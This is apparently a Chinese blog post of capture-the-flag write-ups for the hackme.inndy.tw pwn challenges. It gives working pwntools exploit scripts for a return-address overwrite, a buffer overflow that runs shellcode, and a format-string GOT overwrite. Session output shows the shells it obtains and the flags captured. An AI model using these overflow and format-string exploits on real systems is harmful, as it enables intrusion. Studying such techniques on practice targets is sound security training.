狗儿

热爱的话就坚持吧~

0%

hackme pwn 题解

pwn–>fun

057 catflag

题目描述:

nc hackme.inndy.tw 7709

ry using nc connect to server!

1
2
3
yum install nc
nc hackme.inndy.tw 7709
cat flag

img

058 homework

1572660656405

1572660645365

1572660678239

1572660751544

从arr数组入手,修改返回地址。

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote('hackme.inndy.tw', 7701)
context.log_level = 'debug'
p.sendlineafter("What's your name? ", 'yzy')
p.sendline('1')
p.sendlineafter('Index to edit: ', str(int(0x34+4)//4))
p.sendlineafter('How many? ', str(int('0x80485FB', 16)))
p.sendlineafter('0 > exit', '0')
p.interactive()

1572663998789

061 toooomuch

ROP

1
2
3
4
5
from pwn import *
p = remote('hackme.inndy.tw', 7702)
payload = 'a'*(0x18+4) + p32(0x804863B)
p.sendlineafter('Give me your passcode: ', payload)
p.interactive()

1572663933919

062 toooomuch-2

1578629169446

return到gets函数,将shellcode写入bss段(passcode),然后gets函数返回到bss段(passcode)处,并执行shellcode。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

get = 0x8048480
bss = 0x8049C60
payload = 'a'*(0x18+4) + p32(get) + p32(bss) + p32(bss)

p = remote('hackme.inndy.tw', 7702)
p.recvuntil('Give me your passcode:')
p.sendline(payload)
p.sendline(asm(shellcraft.sh()))
p.interactive()

没啥好说的,第一个p32(bss)是gets函数的参数,第二个是gets的返回地址ret。(有大佬说第一个是返回地址,第二个是参数,此处存疑。TODO

今天在杭州的宾馆里,不知道为啥这里的网络能上hackme的网站,但是nc连接不上。所以在阿里云的centos7上nc的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[root@izwdpnodbapihwz pwn]# vim toooomach.py
[root@izwdpnodbapihwz pwn]# python t*
[+] Opening connection to hackme.inndy.tw on port 7702: Done
[*] Switching to interactive mode
You are not allowed here!
$ ls
fake_flag
flag
run.sh
toooomuch
$ cat fake_flag
FLAG{B1N@RY S3@RCH 15 F@5T T0 TH3 GU355 NUM133R G@M3...Vx1uck7CvuaCEew7}
$ cat flag
FLAG{Buffer overflow is pretty easy, right?...MbIfR7p9sbKbwPSp}

063 echo

1578731982226

经典的格式化字符串漏洞。和之前做的不同的是,这个题和GOT,PLT结合。

GOT(Global Offset Table),全局偏移表,用于记录在 ELF 文件中所用到的共享库中符号的绝对(真实)地址,是存放函数地址的数据表。

PLT(Procedure Linkage Table),过程链接表,作用是将位置无关的符号转移到绝对地址。

当一个外部符号被调用时,PLT 去引用 GOT 中的其符号对应的绝对地址,然后转入并执行

参考:got/plt表学习聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOT

本题没有开始地址随机化,所以思路是获取system和printf静态地址通过格式化字符串漏洞(fgets),将printf在GOT中的值(printf函数的真实地址),覆写为system函数在PLT表中的地址,所以调用printf时,其实调用的是system。

首先我们要获取当时输入地址在栈内的偏移:

1
2
3
[root@izwdpnodbapihwz pwn]# nc hackme.inndy.tw 7711
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0x100.0xf7f275a0.(nil).0xf7f59000.0x80482e7.0xf63d4e2e.0x41414141.0x2e70252e.0x252e7025

很容易发现0x41414141(即AAAA)在栈内的偏移是7。

当然下面脚本也可以自动检测偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.log_level = 'debug'

def exec_fmt(payload):
p = remote('hackme.inndy.tw', 7711)
#p = process("a.out")
p.sendline(payload)
info = p.recv()
p.close()
return info

autofmt = FmtStr(exec_fmt)
print autofmt.offset
#经过一系列的尝试,脚本最终输出为7,见下图

1578747494900

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote('hackme.inndy.tw',7711)
elf = ELF('./echo')
printf_got_addr = elf.got['printf']
system_plt_addr = elf.plt['system']

payload = fmtstr_payload(7, {printf_got_addr: system_plt_addr})
p.sendline(payload)
p.interactive()

fmtstr_payload是专门为32位程序格式化字符串漏洞输出payload的一个函数,第一个参数是一个偏移量(就是上面我们搞得那个),第二个参数是一个字典,往key的地址,写入value的值。

我们来分析下向服务器发送的数据:

1578750583382

先说明,我们可以获取0x0804a010是printf的got地址,0x08048400是system的plt地址。

首先是四个地址,0x0804a010~0x0804a013。

然后%240c%7$hhn ,向栈内偏移为7处的地址处(即0x0804a010,printf的首地址),写入(240+16) & 0xff = 0x00

之后的写入的依次是:

(132 + 0x00) & 0xff = 0x84,

(128 + 0x84) & 0xff = 0x04,

(4 + 0x04) & 0xff = 0x08

合起来就是system的地址,0x08048400

参考:hackme.inndy.tw pwn

为了理解思想,这里摘录一个大佬的脚本,来源就是上面的链接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
target = remote('hackme.inndy.tw', 7711)
elf = ELF('./echo')
plt_sys = elf.symbols['system']
got_printf = elf.got['printf']
print hex(plt_sys) #0x8048400
print hex(got_printf) #0x804a010

payload = p32(got_printf)
payload += p32(got_printf + 1)
payload += p32(got_printf + 2)
payload += p32(got_printf + 3)
payload += '%'
payload += str(0x100 - 0x10)
payload += 'c%7$hhn'
payload += '%'
payload += str(0x84)
payload += 'c%8$hhn'
payload += '%'
payload += str(0x104 - 0x84)
payload += 'c%9$hhn'
payload += '%'
payload += str(0x108 - 0x104)
payload += 'c%10$hhn'
# print payload

# payload2 = fmtstr_payload(7,{got_printf:plt_sys})
# print payload2
target.sendline(payload)
target.recvuntil('\n')
target.sendline('/bin/sh\x00')
target.interactive()

%n 一次性写入 4 个字节

%hn 一次性写入 2 个字节

%hhn 一次性写入 1 个字节

%n 一般会配合 %c 进行使用,%c 负责输出字符,%n 负责统计输出的字符串的数量并转化为 16 进制格式写入到偏移的内存地址里。

from 格式化字符串任意地址写操作学习小计

关于格式化字符串,另可参考Linux系统下格式化字符串利用研究

097 fast

  • 规定时间内计算一万个表达式,正确则cat flag(开始时我走入误区,以为表达式个数随机,没想到10000就写在给出的程序中)
  • 网速太慢,可能还没接受完数据就已经超时,可以挂梯子或直接海外服务器上跑脚本。我在杭州一宾馆网络超时,阿里云轻量有时超时有时正常,原来想直接上海外服务器的,可惜环境还没还来得及配好)
  • 表达式形如-38020440 * -70015297 = ?(有些第二个数是负数,却没有括号括起来,所以并不能用eval直接计算)
  • 运算要遵循 C 语言下32位有符号整数的运算规则(注意除法的运算;结果是int32)(numpy的int32可将结果转换成c语言的int32)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import re
from numpy import int32
from pwn import *

def _eval(a, op, b):
if op == '+':
return int32(int(a) + int(b))
elif op == '-':
return int32(int(a) - int(b))
elif op == '*':
return int32(int(a) * int(b))
elif op == '/':
return int32(float(int(a)) / int(b))

#context.log_level = 'debug'
p = remote('hackme.inndy.tw', 7707)
p.recvuntil("Send 'Yes I know' to start the game.")
p.sendline('Yes I know')

datas = ''
while datas.count('\n') < 10000:
datas += p.recv()

formulas = datas.split('\n')

answer = []
for formula in formulas:
if formula != '':
params = formula.split(' ')
a, op , b = params[0], params[1], params[2]
answer.append(_eval(a,op,b))
answer = '\n'.join(list(map(str,answer)))
p.send(answer)
p.interactive()

参考了两个大佬的代码,他们的脚本具有学习的价值,所以也在这里记录一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#from http://m4x.fun/post/hackme.inndy-writeup/
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from numpy import int32
import time
import re
# context.log_level = 'debug'

# io = process("./fast")
io = remote("hackme.inndy.tw", 7707)

io.sendlineafter("the game.\n", "Yes I know")

ans = ""
res = ""
f = lambda x: int32(int(x))
for i in xrange(10000):
n1, op, n2 = io.recvuntil("=", drop = True).strip().split(' ')
# print n1, op, n2
io.recvline()

if op == '+':
# print n1, op, n2
ans = str(f(n1) + f(n2))
if op == '-':
ans = str(f(n1) - f(n2))
if op == '*':
ans = str(f(n1) * f(n2))
if op == '/':
ans = str(int(float(n1) / int(n2)))

res += (ans + " ")

# print res
io.sendline(res)
io.interactive()
io.close()

知识点:

  • lambda将int32(int(x))封装,简洁
  • recvuntil("=", drop = True).strip().split(' '),接收到等号,且丢弃等号(drop=false时,接受到等号且不丢弃等号)
  • 计算除法:ans = str(int(float(n1) / int(n2)))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#from https://www.aloxaf.com/2018/07/hackme_inndy/#fast

%%cython
import cython
from pwn import *

@cython.cdivision(True)
def _eval(int a, op, int b):
if op == b'+':
return a + b
elif op == b'-':
return a - b
elif op == b'*':
return a * b
elif op == b'/':
return a / b

io = remote('hackme.inndy.tw', 7707)
io.recvuntil('start the game.\n')
io.sendline('Yes I know')

exps = b''

while exps.count(b'\n') != 10000:
exps += io.recv()
exps = exps.strip().split(b'\n')

ans = ''
for i in range(len(exps)):
exp = exps[i].split()
a, b = int(exp[0]), int(exp[2])
op = exp[1]
ans += f'{_eval(a, op, b)}\n'
io.send(ans)
io.interactive()
io.close()

知识点:

  • cython(TODO
  • while exps.count(b'\n') != 10000:根据count(‘\n’)的数量来判断是否达到10000